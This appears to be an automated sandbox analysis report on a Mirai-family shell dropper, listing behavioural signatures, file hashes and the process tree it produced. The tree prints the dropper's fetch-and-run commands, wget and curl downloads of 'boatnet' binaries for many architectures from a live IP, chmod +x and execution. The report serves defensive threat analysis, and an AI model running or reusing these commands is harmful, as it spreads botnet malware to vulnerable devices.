Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    13-01-2025 07:07

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    507f90eff6a55518aa1676f3143e05f7

  • SHA1

    743754532ab2a508ec40f929be7677af00028f96

  • SHA256

    2041eb52226fb9761127154efeaeac2d979cdab0acf2cbe6d85ae49f679d6afe

  • SHA512

    33b6bbe8a574ecf641282cdad54df167f589c519ab623570027ef16d96dcc9405b2882624b0c9a35db87b12f562c9bc9b344a367ed19fc53bd6d4e326df055c9

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 30 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 30 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:1516
    • /usr/bin/wget
      wget http://216.9.225.175/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1517
    • /usr/bin/curl
      curl -O http://216.9.225.175/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1522
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:1523
      • /bin/chmod
        chmod +x boatnet.x86 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-bolt.service-Bdv39H systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-b051Gy WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1524
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1525
      • /usr/bin/wget
        wget http://216.9.225.175/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1529
      • /usr/bin/curl
        curl -O http://216.9.225.175/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1530
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-bolt.service-Bdv39H systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-b051Gy WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1532
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1533
      • /usr/bin/wget
        wget http://216.9.225.175/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1537
      • /usr/bin/curl
        curl -O http://216.9.225.175/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1538
      • /bin/chmod
        chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-bolt.service-Bdv39H systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-b051Gy WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1540
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1541
      • /usr/bin/wget
        wget http://216.9.225.175/hiddenbin/boatnet.i468
        2⤵
          PID:1545
        • /usr/bin/curl
          curl -O http://216.9.225.175/hiddenbin/boatnet.i468
          2⤵
          • Writes file to tmp directory
          PID:1546
        • /bin/chmod
          chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-bolt.service-Bdv39H systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-b051Gy WTF
          2⤵
          • File and Directory Permissions Modification
          PID:1548
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1549
        • /usr/bin/wget
          wget http://216.9.225.175/hiddenbin/boatnet.i686
          2⤵
            PID:1553
          • /usr/bin/curl
            curl -O http://216.9.225.175/hiddenbin/boatnet.i686
            2⤵
            • Writes file to tmp directory
            PID:1554
          • /bin/chmod
            chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-bolt.service-Bdv39H systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-b051Gy WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1556
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1557
          • /usr/bin/wget
            wget http://216.9.225.175/hiddenbin/boatnet.x86_64
            2⤵
              PID:1561
            • /usr/bin/curl
              curl -O http://216.9.225.175/hiddenbin/boatnet.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1562
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-bolt.service-Bdv39H systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-b051Gy WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1564
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1565
            • /usr/bin/wget
              wget http://216.9.225.175/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1569
            • /usr/bin/curl
              curl -O http://216.9.225.175/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1570
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-bolt.service-Bdv39H systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-b051Gy WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1572
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1573
            • /usr/bin/wget
              wget http://216.9.225.175/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1577
            • /usr/bin/curl
              curl -O http://216.9.225.175/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1578
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-bolt.service-Bdv39H systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-b051Gy WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1580
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1581
            • /usr/bin/wget
              wget http://216.9.225.175/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1585
            • /usr/bin/curl
              curl -O http://216.9.225.175/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1586
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-bolt.service-Bdv39H systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-b051Gy WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1588
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1589
            • /usr/bin/wget
              wget http://216.9.225.175/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1593
            • /usr/bin/curl
              curl -O http://216.9.225.175/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1594
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-bolt.service-Bdv39H systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-b051Gy WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1596
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1597
            • /usr/bin/wget
              wget http://216.9.225.175/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1601
            • /usr/bin/curl
              curl -O http://216.9.225.175/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1602
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-bolt.service-Bdv39H systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-b051Gy WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1604
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1605
            • /usr/bin/wget
              wget http://216.9.225.175/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1611
            • /usr/bin/curl
              curl -O http://216.9.225.175/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1612
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-b051Gy WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1620
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1621
            • /usr/bin/wget
              wget http://216.9.225.175/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1625
            • /usr/bin/curl
              curl -O http://216.9.225.175/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1626
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-bolt.service-nSbzAe systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-b051Gy WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1632
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1633
            • /usr/bin/wget
              wget http://216.9.225.175/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1637
            • /usr/bin/curl
              curl -O http://216.9.225.175/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1640
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-b051Gy WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1648
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1649
            • /usr/bin/wget
              wget http://216.9.225.175/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1653
            • /usr/bin/curl
              curl -O http://216.9.225.175/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1660
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-6tWMrt netplan_d3z35f7u ohshit.sh snap-private-tmp ssh-PyzuuZtstoWl systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-colord.service-DVz1fT systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-ModemManager.service-7ytmA1 systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-resolved.service-RI3bre systemd-private-a52556a4897f4ce8bbb6b0e892aeabfc-systemd-timedated.service-b051Gy WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1668
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1669

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/boatnet.x86

            Filesize

            19KB

            MD5

            9fdbc0d52615f951689fdf0a992b1cc0

            SHA1

            a3886419c9b8d1d69f933d091f86cb55acfbc1bc

            SHA256

            2e6398da57aae86ced253d9411da2f41f9446ba35adcf2870cd4f219368f8212

            SHA512

            d06e8220cef72a182ee6b1af292c1954b3eca0f127e206ea47c902c813157a4429a1ab47e6caf5604a29e5e38124b274648d4fd31c1ed85ca933ccd1f9611e9e